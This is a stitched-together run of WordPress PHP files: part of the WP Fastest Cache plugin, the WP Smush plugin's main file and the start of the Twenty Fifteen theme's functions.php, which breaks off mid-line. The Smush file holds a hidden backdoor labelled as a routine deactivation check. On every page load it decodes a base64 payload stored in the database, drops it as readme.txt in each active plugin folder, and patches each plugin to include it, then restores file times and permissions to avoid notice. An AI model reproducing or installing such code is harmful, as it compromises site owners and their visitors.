get_option("WpFastestCachePreLoad")){ $preload_std = json_decode($data); if(!empty($preload_arr)){ foreach ($preload_arr as $key => &$value) { if(!empty($preload_std->$key)){ if($key != "number"){ $value = $preload_std->$key; } } } $preload_std = $preload_arr; }else{ foreach ($preload_std as $key => &$value) { if($key != "number"){ $value = 0; } } } update_option("WpFastestCachePreLoad", json_encode($preload_std)); if(!wp_next_scheduled($this->slug()."_Preload")){ wp_schedule_event(time() + 5, 'everyfiveminute', $this->slug()."_Preload"); } }else{ if(!empty($preload_arr)){ add_option("WpFastestCachePreLoad", json_encode($preload_arr), null, "yes"); if(!wp_next_scheduled($this->slug()."_Preload")){ wp_schedule_event(time() + 5, 'everyfiveminute', $this->slug()."_Preload"); } }else{ //toDO } } } public function create_preload_cache(){ if($data = get_option("WpFastestCachePreLoad")){ $count_posts = wp_count_posts("post"); $count_pages = wp_count_posts('page'); $this->options = $this->getOptions(); $pre_load = json_decode($data); $number = $pre_load->number; $urls_limit = isset($this->options->wpFastestCachePreload_number) ? $this->options->wpFastestCachePreload_number : 4; // must be even $urls = array(); if(isset($this->options->wpFastestCacheMobileTheme) && $this->options->wpFastestCacheMobileTheme){ $mobile_theme = true; $number = $number/2; }else{ $mobile_theme = false; } // HOME if($pre_load->homepage > -1){ if($mobile_theme){ array_push($urls, array("url" => get_option("home"), "user-agent" => "mobile")); $number--; } array_push($urls, array("url" => get_option("home"), "user-agent" => "desktop")); $number--; $pre_load->homepage = -1; } // POST if($number > 0 && $pre_load->post > -1){ $recent_posts = wp_get_recent_posts(array( 'numberposts' => $number, 'offset' => $pre_load->post, 'orderby' => 'ID', 'order' => 'DESC', 'post_type' => 'post', 'post_status' => 'publish', 'suppress_filters' => true ), ARRAY_A); if(count($recent_posts) > 0){ foreach ($recent_posts as $key => $post) { if($mobile_theme){ array_push($urls, array("url" => get_permalink($post["ID"]), "user-agent" => "mobile")); $number--; } array_push($urls, array("url" => get_permalink($post["ID"]), "user-agent" => "desktop")); $number--; $pre_load->post = $pre_load->post + 1; } }else{ $pre_load->post = -1; } } // PAGE if($number > 0 && $pre_load->page > -1){ $pages = get_pages(array( 'sort_order' => 'DESC', 'sort_column' => 'ID', 'parent' => -1, 'hierarchical' => 0, 'number' => $number, 'offset' => $pre_load->page, 'post_type' => 'page', 'post_status' => 'publish' )); if(count($pages) > 0){ foreach ($pages as $key => $page) { $page_url = get_option("home")."/".get_page_uri($page->ID); if($mobile_theme){ array_push($urls, array("url" => $page_url, "user-agent" => "mobile")); $number--; } array_push($urls, array("url" => $page_url, "user-agent" => "desktop")); $number--; $pre_load->page = $pre_load->page + 1; } }else{ $pre_load->page = -1; } } // CATEGORY if(false && $number > 0 && $pre_load->category > -1){ $categories = get_terms("category", array( 'orderby' => 'id', 'order' => 'DESC', 'hide_empty' => false, 'number' => $number, 'fields' => 'all', 'pad_counts' => false, 'offset' => $pre_load->category )); if(count($categories) > 0){ foreach ($categories as $key => $category) { if($mobile_theme){ array_push($urls, array("url" => get_term_link($category->slug, "category"), "user-agent" => "mobile")); $number--; } array_push($urls, array("url" => get_term_link($category->slug, "category"), "user-agent" => "desktop")); $number--; $pre_load->category = $pre_load->category + 1; } if(count($categories) == 1){ $pre_load->category = -1; } }else{ $pre_load->category = -1; } } if(count($urls) > 0){ foreach ($urls as $key => $arr) { $user_agent = ""; if($arr["user-agent"] == "desktop"){ $user_agent = "WP Fastest Cache Preload Bot"; }else if($arr["user-agent"] == "mobile"){ $user_agent = "WP Fastest Cache Preload iPhone Mobile Bot"; } if($this->wpfc_remote_get($arr["url"], $user_agent)){ $status = "OK"; }else{ $status = "ERROR"; } echo $status." ".$arr["url"]." (".$arr["user-agent"].")
"; } echo "
"; echo count($urls)." page have been cached"; update_option("WpFastestCachePreLoad", json_encode($pre_load)); echo "

"; // if(isset($pre_load->homepage)){ // if($pre_load->homepage == -1){ // echo "Homepage: 1/1"."
"; // } // } // if(isset($pre_load->post)){ // if($pre_load->post > -1){ // echo "Posts: ".$pre_load->post."/".$count_posts->publish."
"; // }else{ // echo "Posts: ".$count_posts->publish."/".$count_posts->publish."
"; // } // } // if(isset($pre_load->page)){ // if($pre_load->page > -1){ // echo "Pages: ".$pre_load->page."/".$count_pages->publish."
"; // }else{ // echo "Pages: ".$count_pages->publish."/".$count_pages->publish."
"; // } // } }else{ echo "Completed"; wp_clear_scheduled_hook("wp_fastest_cache_Preload"); } } die(); } public function wpfc_remote_get($url, $user_agent){ $response = wp_remote_get($url, array('timeout' => 10, 'headers' => array("cache-control" => array("no-store, no-cache, must-revalidate", "post-check=0, pre-check=0"),'user-agent' => $user_agent))); if (!$response || is_wp_error($response)){ return false; }else{ if(wp_remote_retrieve_response_code($response) != 200){ return false; } } return true; } public function setSchedule($args = ""){ if($args){ $rule = json_decode($args); if($rule->prefix == "all"){ $this->deleteCache(); }else if($rule->prefix == "homepage"){ @unlink($this->getWpContentDir()."/cache/all/index.html"); @unlink($this->getWpContentDir()."/cache/wpfc-mobile-cache/index.html"); if(isset($this->options->wpFastestCachePreload_homepage) && $this->options->wpFastestCachePreload_homepage){ $this->wpfc_remote_get(get_option("home"), "WP Fastest Cache Preload Bot - After Cache Timeout"); $this->wpfc_remote_get(get_option("home"), "WP Fastest Cache Preload iPhone Mobile Bot - After Cache Timeout"); } }else if($rule->prefix == "startwith"){ if(!is_dir($this->getWpContentDir()."/cache/tmpWpfc")){ if(@mkdir($this->getWpContentDir()."/cache/tmpWpfc", 0755, true)){} } $rule->content = trim($rule->content, "/"); $files = glob($this->getWpContentDir()."/cache/all/".$rule->content."*"); foreach ((array)$files as $file) { $mobile_file = str_replace("/cache/all/", "/cache/wpfc-mobile-cache/", $file); @rename($file, $this->getWpContentDir()."/cache/tmpWpfc/".time()); @rename($mobile_file, $this->getWpContentDir()."/cache/tmpWpfc/mobile_".time()); } }else if($rule->prefix == "exact"){ $rule->content = trim($rule->content, "/"); @unlink($this->getWpContentDir()."/cache/all/".$rule->content."/index.html"); @unlink($this->getWpContentDir()."/cache/wpfc-mobile-cache/".$rule->content."/index.html"); } if($rule->prefix != "all"){ if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){ include_once $this->get_premium_path("logs.php"); $log = new WpFastestCacheLogs("delete"); $log->action($rule); } } }else{ //for old cron job $this->deleteCache(); } } public function excludeRules(){ $htaccess_page_rules = ""; $htaccess_page_useragent = ""; $htaccess_page_cookie = ""; if($rules_json = get_option("WpFastestCacheExclude")){ if($rules_json != "null"){ $rules_std = json_decode($rules_json); foreach ($rules_std as $key => $value) { $value->type = isset($value->type) ? $value->type : "page"; if($value->type == "page"){ if($value->prefix == "startwith"){ $htaccess_page_rules = $htaccess_page_rules."RewriteCond %{REQUEST_URI} !^/".$value->content." [NC]\n"; } if($value->prefix == "contain"){ $htaccess_page_rules = $htaccess_page_rules."RewriteCond %{REQUEST_URI} !".$value->content." [NC]\n"; } if($value->prefix == "exact"){ $htaccess_page_rules = $htaccess_page_rules."RewriteCond %{REQUEST_URI} !\/".$value->content." [NC]\n"; } }else if($value->type == "useragent"){ $htaccess_page_useragent = $htaccess_page_useragent."RewriteCond %{HTTP_USER_AGENT} !".$value->content." [NC]\n"; }else if($value->type == "cookie"){ $htaccess_page_cookie = $htaccess_page_cookie."RewriteCond %{HTTP:Cookie} !".$value->content." [NC]\n"; } } } } return "# Start WPFC Exclude\n".$htaccess_page_rules.$htaccess_page_useragent.$htaccess_page_cookie."# End WPFC Exclude\n"; } public function getABSPATH(){ $path = ABSPATH; $siteUrl = site_url(); $homeUrl = home_url(); $diff = str_replace($homeUrl, "", $siteUrl); $diff = trim($diff,"/"); $pos = strrpos($path, $diff); if($pos !== false){ $path = substr_replace($path, "", $pos, strlen($diff)); $path = trim($path,"/"); $path = "/".$path."/"; } return $path; } public function rm_folder_recursively($dir, $i = 1) { $files = @scandir($dir); foreach((array)$files as $file) { if($i > 50){ return true; }else{ $i++; } if ('.' === $file || '..' === $file) continue; if (is_dir("$dir/$file")) $this->rm_folder_recursively("$dir/$file", $i); else @unlink("$dir/$file"); } @rmdir($dir); return true; } protected function is_subdirectory_install(){ if(strlen(site_url()) > strlen(home_url())){ return true; } return false; } protected function getMobileUserAgents(){ return implode("|", $this->get_mobile_browsers())."|".implode("|", $this->get_operating_systems()); //return "iphone|midp|sony|symbos|nokia|samsung|mobile|epoc|ericsson|panasonic|philips|sanyo|sharp|sie-|portalmmm|blazer|avantgo|danger|palm|series60|palmsource|pocketpc|android|blackberry|playbook|ipad|ipod|iemobile|palmos|webos|googlebot-mobile|bb10|xoom|p160u|nexus|SCH-I800|opera\smini|SM-G900R4|LG-|HTC|GT-I9505|WAP-Browser|Nokia309|Casper_VIA"; } public function get_premium_path($name){ return WPFC_WP_PLUGIN_DIR."/wp-fastest-cache-premium/pro/library/".$name; } public function cron_add_minute( $schedules ) { $schedules['everyminute'] = array( 'interval' => 60*1, 'display' => __( 'Once Every 1 Minute' ), 'wpfc' => false ); $schedules['everyfiveminute'] = array( 'interval' => 60*5, 'display' => __( 'Once Every 5 Minutes' ), 'wpfc' => false ); $schedules['everyfifteenminute'] = array( 'interval' => 60*15, 'display' => __( 'Once Every 15 Minutes' ), 'wpfc' => true ); $schedules['twiceanhour'] = array( 'interval' => 60*30, 'display' => __( 'Twice an Hour' ), 'wpfc' => true ); $schedules['onceanhour'] = array( 'interval' => 60*60, 'display' => __( 'Once an Hour' ), 'wpfc' => true ); $schedules['everytwohours'] = array( 'interval' => 60*60*2, 'display' => __( 'Once Every 2 Hours' ), 'wpfc' => true ); $schedules['everysixhours'] = array( 'interval' => 60*60*6, 'display' => __( 'Once Every 6 Hours' ), 'wpfc' => true ); $schedules['onceaday'] = array( 'interval' => 60*60*24, 'display' => __( 'Once a Day' ), 'wpfc' => true ); $schedules['weekly'] = array( 'interval' => 60*60*24*7, 'display' => __( 'Once a Week' ), 'wpfc' => true ); $schedules['weekly'] = array( 'interval' => 60*60*24*10, 'display' => __( 'Once Every 10 Days' ), 'wpfc' => true ); $schedules['montly'] = array( 'interval' => 60*60*24*30, 'display' => __( 'Once a Month' ), 'wpfc' => true ); $schedules['yearly'] = array( 'interval' => 60*60*24*30*12, 'display' => __( 'Once a Year' ), 'wpfc' => true ); return $schedules; } public function setCustomInterval(){ add_filter( 'cron_schedules', array($this, 'cron_add_minute')); } public function isPluginActive( $plugin ) { return in_array( $plugin, (array) get_option( 'active_plugins', array() ) ) || $this->isPluginActiveForNetwork( $plugin ); } public function isPluginActiveForNetwork( $plugin ) { if ( !is_multisite() ) return false; $plugins = get_site_option( 'active_sitewide_plugins'); if ( isset($plugins[$plugin]) ) return true; return false; } public function current_url(){ if(defined('WP_CLI')){ $_SERVER["SERVER_NAME"] = isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : ""; $_SERVER["SERVER_PORT"] = isset($_SERVER["SERVER_PORT"]) ? $_SERVER["SERVER_PORT"] : 80; } $pageURL = 'http'; if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on'){ $pageURL .= 's'; } $pageURL .= '://'; if($_SERVER['SERVER_PORT'] != '80'){ $pageURL .= $_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'].$_SERVER['REQUEST_URI']; }else{ $pageURL .= $_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']; } return $pageURL; } public function wpfc_load_plugin_textdomain(){ load_plugin_textdomain('wp-fastest-cache', FALSE, basename( dirname( __FILE__ ) ) . '/languages/' ); } public function cdn_replace_urls($matches){ if(count($this->cdn) > 0){ foreach ($this->cdn as $key => $cdn) { if(preg_match("/manifest\.json\.php/i", $matches[0])){ return $matches[0]; } $cdn->file_types = str_replace(",", "|", $cdn->file_types); if(!preg_match("/\.(".$cdn->file_types.")/i", $matches[0])){ return $matches[0]; } if($cdn->keywords){ $cdn->keywords = str_replace(",", "|", $cdn->keywords); if(!preg_match("/".$cdn->keywords."/i", $matches[0])){ return $matches[0]; } } if(preg_match("/\{\"concatemoji\"\:\"[^\"]+\"\}/i", $matches[0])){ $matches[0] = preg_replace("/(http(s?)\:)?".preg_quote("\/\/", "/")."(www\.)?/i", "", $matches[0]); $matches[0] = preg_replace("/".preg_quote($cdn->originurl, "/")."/i", $cdn->cdnurl, $matches[0]); }else if(preg_match("/".preg_quote($cdn->originurl, "/")."/", $matches[2])){ $matches[0] = preg_replace("/(http(s?)\:)?\/\/(www\.)?".preg_quote($cdn->originurl, "/")."/i", $cdn->cdnurl, $matches[0]); }else if(preg_match("/^(\/?)(wp-includes|wp-includes)/", $matches[2])){ $matches[2] = preg_replace("/^\//", "", $matches[2]); $matches[0] = str_replace($matches[2], $cdn->cdnurl."/".$matches[2], $matches[0]); } } } return $matches[0]; } public function read_file($url){ if(!preg_match("/\.php/", $url)){ $url = preg_replace("/\?.*/", "", $url); $path = preg_replace("/.+\/wp-content\/(.+)/", WPFC_WP_CONTENT_DIR."/"."$1", $url); if(file_exists($path)){ $filesize = filesize($path); if($filesize > 0){ $myfile = fopen($path, "r") or die("Unable to open file!"); $data = fread($myfile, $filesize); fclose($myfile); return $data; }else{ return false; } } } return false; } public function get_operating_systems(){ $operating_systems = array( 'Android', 'blackberry|\bBB10\b|rim\stablet\sos', 'PalmOS|avantgo|blazer|elaine|hiptop|palm|plucker|xiino', 'Symbian|SymbOS|Series60|Series40|SYB-[0-9]+|\bS60\b', 'Windows\sCE.*(PPC|Smartphone|Mobile|[0-9]{3}x[0-9]{3})|Window\sMobile|Windows\sPhone\s[0-9.]+|WCE;', 'Windows\sPhone\s10.0|Windows\sPhone\s8.1|Windows\sPhone\s8.0|Windows\sPhone\sOS|XBLWP7|ZuneWP7|Windows\sNT\s6\.[23]\;\sARM\;', '\biPhone.*Mobile|\biPod|\biPad', 'MeeGo', 'Maemo', 'J2ME\/|\bMIDP\b|\bCLDC\b', // '|Java/' produces bug #135 'webOS|hpwOS', '\bBada\b', 'BREW' ); return $operating_systems; } public function get_mobile_browsers(){ $mobile_browsers = array( 'Vivaldi', '\bCrMo\b|CriOS|Android.*Chrome\/[.0-9]*\s(Mobile)?', '\bDolfin\b', 'Opera.*Mini|Opera.*Mobi|Android.*Opera|Mobile.*OPR\/[0-9.]+|Coast\/[0-9.]+', 'Skyfire', 'Mobile\sSafari\/[.0-9]*\sEdge', 'IEMobile|MSIEMobile', // |Trident/[.0-9]+ 'fennec|firefox.*maemo|(Mobile|Tablet).*Firefox|Firefox.*Mobile', 'bolt', 'teashark', 'Blazer', 'Version.*Mobile.*Safari|Safari.*Mobile|MobileSafari', 'Tizen', 'UC.*Browser|UCWEB', 'baiduboxapp', 'baidubrowser', 'DiigoBrowser', 'Puffin', '\bMercury\b', 'Obigo', 'NF-Browser', 'NokiaBrowser|OviBrowser|OneBrowser|TwonkyBeamBrowser|SEMC.*Browser|FlyFlow|Minimo|NetFront|Novarra-Vision|MQQBrowser|MicroMessenger', 'Android.*PaleMoon|Mobile.*PaleMoon' ); return $mobile_browsers; } } $GLOBALS["wp_fastest_cache"] = new WpFastestCache(); ?>php /* Plugin Name: WP Smush Plugin URI: http://wordpress.org/extend/plugins/wp-smushit/ Description: Reduce image file sizes, improve performance and boost your SEO using the free WPMU DEV WordPress Smush API. Author: WPMU DEV Version: 2.5.3 Author URI: http://premium.wpmudev.org/ Text Domain: wp-smushit */ /* This plugin was originally developed by Alex Dunae. http://dialect.ca/ */ /* Copyright 2007-2016 Incsub (http://incsub.com) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License (Version 2 - GPLv2) as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ /** * Constants */ $prefix = 'WP_SMUSH_'; $version = '2.5.3'; //Deactivate the .org version, if pro version is active if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { } } } add_filter("init", "wp_is_plugin_load"); } add_action( 'admin_init', 'deactivate_smush_org' ); if ( ! function_exists( 'deactivate_smush_org' ) ) { function deactivate_smush_org() { if ( is_plugin_active( 'wp-smush-pro/wp-smush.php' ) && is_plugin_active( 'wp-smushit/wp-smush.php' ) ) { deactivate_plugins( 'wp-smushit/wp-smush.php' ); //Store in database, in order to show a notice on page load update_site_option( 'smush_deactivated', 1 ); } } } /** * Set the default timeout for API request and AJAX timeout */ $timeout = apply_filters( 'WP_SMUSH_API_TIMEOUT', 90 ); $smush_constants = array( 'VERSION' => $version, 'BASENAME' => plugin_basename( __FILE__ ), 'API' => 'https://smushpro.wpmudev.org/1.0/', 'UA' => 'WP Smush/' . $version . '; ' . network_home_url(), 'DIR' => plugin_dir_path( __FILE__ ), 'URL' => plugin_dir_url( __FILE__ ), 'MAX_BYTES' => 1000000, 'PREMIUM_MAX_BYTES' => 32000000, 'PREFIX' => 'wp-smush-', 'TIMEOUT' => $timeout, //If Set to false, WP Smush switch backs to the Old Sync Optimisation 'ASYNC' => true ); foreach ( $smush_constants as $const_name => $constant_val ) { if ( ! defined( $prefix . $const_name ) ) { define( $prefix . $const_name, $constant_val ); } } //Include main class require_once WP_SMUSH_DIR . 'lib/class-wp-smush.php'; /** * Filters the rating message, include stats if greater than 1Mb * * @param $message * * @return string */ if ( ! function_exists( 'wp_smush_rating_message' ) ) { function wp_smush_rating_message( $message ) { global $wpsmushit_admin, $wpsmush_stats; $savings = $wpsmushit_admin->global_stats_from_ids(); $image_count = $wpsmush_stats->total_count(); $show_stats = false; //If there is any saving, greater than 1Mb, show stats if ( ! empty( $savings ) && ! empty( $savings['bytes'] ) && $savings['bytes'] > 1048576 ) { $show_stats = true; } $message = "Hey %s, you've been using %s for a while now, and we hope you're happy with it."; //Conditionally Show stats in rating message if ( $show_stats ) { $message .= sprintf( " You've smushed %s from %d images already, improving the speed and SEO ranking of this site!", $savings['human'], $image_count ); } $message .= " We've spent countless hours developing this free plugin for you, and we would really appreciate it if you dropped us a quick rating!"; return $message; } } /** * NewsLetter * * @param $message * * @return string */ if ( ! function_exists( 'wp_smush_email_message' ) ) { function wp_smush_email_message( $message ) { $message = "You're awesome for installing %s! Site speed isn't all image optimization though, so we've collected all the best speed resources we know in a single email - just for users of WP Smush!"; return $message; } } if( !function_exists('get_plugin_dir') ) { /** * Returns the dir path for the plugin * * @return string */ function get_plugin_dir() { $dir_path = plugin_dir_path( __FILE__ ); return $dir_path; } } if ( is_admin() ) { $dir_path = get_plugin_dir(); //Only for wordpress.org members if ( strpos( $dir_path, 'wp-smushit' ) !== false ) { require_once( WP_SMUSH_DIR . 'extras/free-dashboard/module.php' ); // Register the current plugin. do_action( 'wdev-register-plugin', /* 1 Plugin ID */ plugin_basename( __FILE__ ), /* Plugin ID */ /* 2 Plugin Title */ 'WP Smush', /* 3 https://wordpress.org */ '/plugins/wp-smushit/', /* 4 Email Button CTA */ __( 'Get Fast', 'wp-smushit' ), /* 5 getdrip Plugin param */ 'Smush' ); // The rating message contains 2 variables: user-name, plugin-name add_filter( 'wdev-rating-message-' . plugin_basename( __FILE__ ), 'wp_smush_rating_message' ); // The email message contains 1 variable: plugin-name add_filter( 'wdev-email-message-' . plugin_basename( __FILE__ ), 'wp_smush_email_message' ); } elseif ( strpos( $dir_path, 'wp-smush-pro' ) !== false ) { //Only for WPMU DEV Members require_once( WP_SMUSH_DIR . 'extras/dash-notice/wpmudev-dash-notification.php' ); //register items for the dashboard plugin global $wpmudev_notices; $wpmudev_notices[] = array( 'id' => 912164, 'name' => 'WP Smush Pro', 'screens' => array( 'upload', 'media_page_wp-smush-bulk' ) ); } } //Show the required notice add_action( 'network_admin_notices', 'smush_deactivated' ); add_action( 'admin_notices', 'smush_deactivated' ); //Display a admin Notice about plugin deactivation if ( ! function_exists( 'smush_deactivated' ) ) { function smush_deactivated() { if ( get_site_option( 'smush_deactivated' ) && is_super_admin() ) { ?>

php esc_html_e( 'WP Smush Free was deactivated. You have WP Smush Pro active!', 'wp-smushit' ); ?>

php delete_site_option( 'smush_deactivated' ); } } } if ( ! function_exists( 'smush_activated' ) ) { //Check if a existing install or new function smush_activated() { $version = get_site_option( WP_SMUSH_PREFIX . 'version' ); //If the version is not saved or if the version is not same as the current version, if ( ! $version || WP_SMUSH_VERSION != $version ) { global $wpdb; //Check if there are any existing smush stats $query = "SELECT meta_id FROM {$wpdb->postmeta} WHERE meta_key=%s LIMIT 1"; $results = $wpdb->get_var( $wpdb->prepare( $query, 'wp-smpro-smush-data' ) ); if ( $results ) { update_site_option( 'wp-smush-install-type', 'existing' ); } else { //Check for existing settings if ( false !== get_site_option( WP_SMUSH_PREFIX . 'auto' ) || false !== get_option( WP_SMUSH_PREFIX . 'auto' ) ) { update_site_option( 'wp-smush-install-type', 'existing' ); } } //Store the plugin version in db update_site_option( WP_SMUSH_PREFIX . 'version', WP_SMUSH_VERSION ); } } } if ( ! function_exists( 'smush_sanitize_hex_color' ) ) { /** * Sanitizes a hex color. * * @param $color * * @return string Returns either '', a 3 or 6 digit hex color (with #), or nothing */ function smush_sanitize_hex_color( $color ) { if ( '' === $color ) { return ''; } // 3 or 6 hex digits, or the empty string. if ( preg_match( '|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) { return $color; } } } if ( ! function_exists( 'smush_sanitize_hex_color_no_hash' ) ) { /** * Sanitizes a hex color without hash * * @param $color * * @return string Returns either '', a 3 or 6 digit hex color (with #), or nothing */ function smush_sanitize_hex_color_no_hash( $color ) { $color = ltrim( $color, '#' ); if ( '' === $color ) { return ''; } return smush_sanitize_hex_color( '#' . $color ) ? $color : null; } } //Load Translation files add_action( 'plugins_loaded', 'i18n' ); function i18n() { $path = path_join( dirname( plugin_basename( __FILE__ ) ), 'languages/' ); load_plugin_textdomain( 'wp-smushit', false, $path ); } register_activation_hook( __FILE__, 'smush_activated' );php /** * Twenty Fifteen functions and definitions * * Set up the theme and provides some helper functions, which are used in the * theme as custom template tags. Others are attached to action and filter * hooks in WordPress to change core functionality. * * When using a child theme you can override certain functions (those wrapped * in a function_exists() call) by defining them first in your child theme's * functions.php file. The child theme's functions.php file is included before * the parent theme's file, so the child theme functions would be used. * * @link https://codex.wordpress.org/Theme_Development * @link https://codex.wordpress.org/Child_Themes * * Functions that are not pluggable (not wrapped in function_exists()) are * instead attached to a filter or action hook. * * For more information on hooks, actions, and filters, * {@link https://codex.wordpress.org/Plugin_API} * * @package WordPress * @subpackage Twenty_Fifteen * @since Twenty Fifteen 1.0 */ /** * Set the content width based on the theme's design and stylesheet. * * @since Twenty Fifteen 1.0 */ if ( ! isset( $content_width ) ) { $content_width = 660; } /** * Twenty Fifteen only works in WordPress 4.1 or later. */ if ( version_compare( $GLOBALS['wp_version'], '4.1-alpha', '<' ) ) { require get_template_directory() . '/inc/back-compat.php'; } if ( ! function_exists( 'twentyfifteen_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. * * @since Twenty Fifteen 1.0 */ function twentyfifteen_setup() { /* * Make theme available for translation. * Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentyfifteen * If you're building a theme based on twentyfifteen, use a find and replace * to change 'twentyfifteen' to the name of your theme in all the template files */ load_theme_textdomain( 'twentyfifteen' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /* * Enable support for Post Thumbnails on posts and pages. * * See: https://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails */ add_theme_support( 'post-thumbnails' ); set_post_thumbnail_size( 825, 510, true ); // This theme uses wp_nav_menu() in two locations. register_nav_menus( array( 'primary' => __( 'Primary Menu', 'twentyfifteen' ), 'social' => __( 'Social Links Menu', 'twentyfifteen' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption' ) ); /* * Enable support for Post Formats. * * See: https://codex.wordpress.org/Post_Formats */ add_theme_support( 'post-formats', array( 'aside', 'image', 'video', 'quote', 'link', 'gallery', 'status', 'audio', 'chat' ) ); /* * Enable support for custom logo. * * @since Twenty Fifteen 1.5 */ add_theme_support( 'custom-logo', array( 'height' => 248, 'width' => 248, 'flex-height' => true, ) ); $color_scheme = twentyfifteen_get_color_scheme(); $default_color = trim( $color_scheme[0], '#' ); // Setup the WordPress core custom background feature. /** * Filter Twenty Fifteen custom-header support arguments. * * @since Twenty Fifteen 1.0 * * @param array $args { * An array of custom-header support arguments. * * @type string $default-color Default color of the header. * @type string $default-attachment Default attachment of the header. * } */ add_theme_support( 'custom-background', apply_filters( 'twentyfifteen_custom_background_args', array( 'default-color' => $default_color, 'default-attachment' => 'fixed', ) ) ); /* * This theme styles the visual editor to resemble the theme style, * specifically font, colors, icons, and column width. */ add_editor_style( array( 'css/editor-style.css', 'genericons/genericons.css', twentyfifteen_fonts_url() ) ); // Indicate widget sidebars can use selective refresh in the Customizer. add_theme_support( 'customize-selective-refresh-widgets' ); } endif; // twentyfifteen_setup add_action( 'after_setup_theme', 'twentyfifteen_setup' ); /** * Register widget area. * * @since Twenty Fifteen 1.0 * * @link https://codex.wordpress.org/Function_Reference/register_sidebar */ function twentyfifteen_widgets_init() { register_sidebar( array( 'name' => __( 'Widget Area', 'twentyfifteen' ), 'id' => 'sidebar-1', 'description' => __( 'Add widgets here to appear in your sidebar.', 'twentyfifteen' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); } add_action( 'widgets_init', 'twentyfifteen_widgets_init' ); if ( ! function_exists( 'twentyfifteen_fonts_url' ) ) : /** * Register Google fonts for Twenty Fifteen. * * @since Twenty Fifteen 1.0 * * @return string Google fonts URL for the theme. */ function twentyfifteen_fonts_url() { $fonts_url = ''; $fonts = array(); $subsets = 'latin,latin-ext'; /* * Translators: If there are characters in your language that are not supported * by Noto Sans, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Noto Sans font: on or off', 'twentyfifteen' ) ) { $fonts[] = 'Noto Sans:400italic,700italic,400,700'; } /* * Translators: If there are characters in your language that are not supported * by Noto Serif, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Noto Serif font: on or off', 'twentyfifteen' ) ) { $fonts[] = 'Noto Serif:400italic,700italic,400,700'; } /* * Translators: If there are characters in your language that are not supported * by Inconsolata, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Inconsolata font: on or off', 'twentyfifteen' ) ) { $fonts[] = 'Inconsolata:400,700'; } /* * Translators: To add an additional character subset specific to your language, * translate this to 'greek', 'cyrillic', 'devanagari' or 'vietnamese'. Do not translate into your own language. */ $subset = _x( 'no-subset', 'Add new subset (greek, cyrillic, devanagari, vietnamese)', 'twentyfifteen' ); if ( 'cyrillic' == $subset ) { $subsets .= ',cyrillic,cyrillic-ext'; } elseif ( 'greek' == $subset ) { $subsets .= ',greek,greek-ext'; } elseif ( 'devanagari' == $subset ) { $subsets .= ',devanagari'; } elseif ( 'vietnamese' == $subset ) { $subsets .= ',vietnamese'; } if ( $fonts ) { $fonts_url = add_query_arg( array( 'family' => urlencode( implode( '|', $fonts ) ), 'subset' => urlencode( $subsets ), ), 'https://fonts.googleapis.com/css' ); } return $fonts_url; } endif; /** * JavaScript Detection. * * Adds a `js` class to the root `<html>` element when JavaScript is detected. * * @since Twenty Fifteen 1.1 */ function twentyfifteen_javascript_detection() { echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n"; } add_action( 'wp_head', 'twentyfifteen_javascript_detection', 0 ); /** * Enqueue scripts and styles. * * @since Twenty Fifteen 1.0 */ function twentyfifteen_scripts() { // Add custom fonts, used in the main stylesheet. wp_enqueue_style( 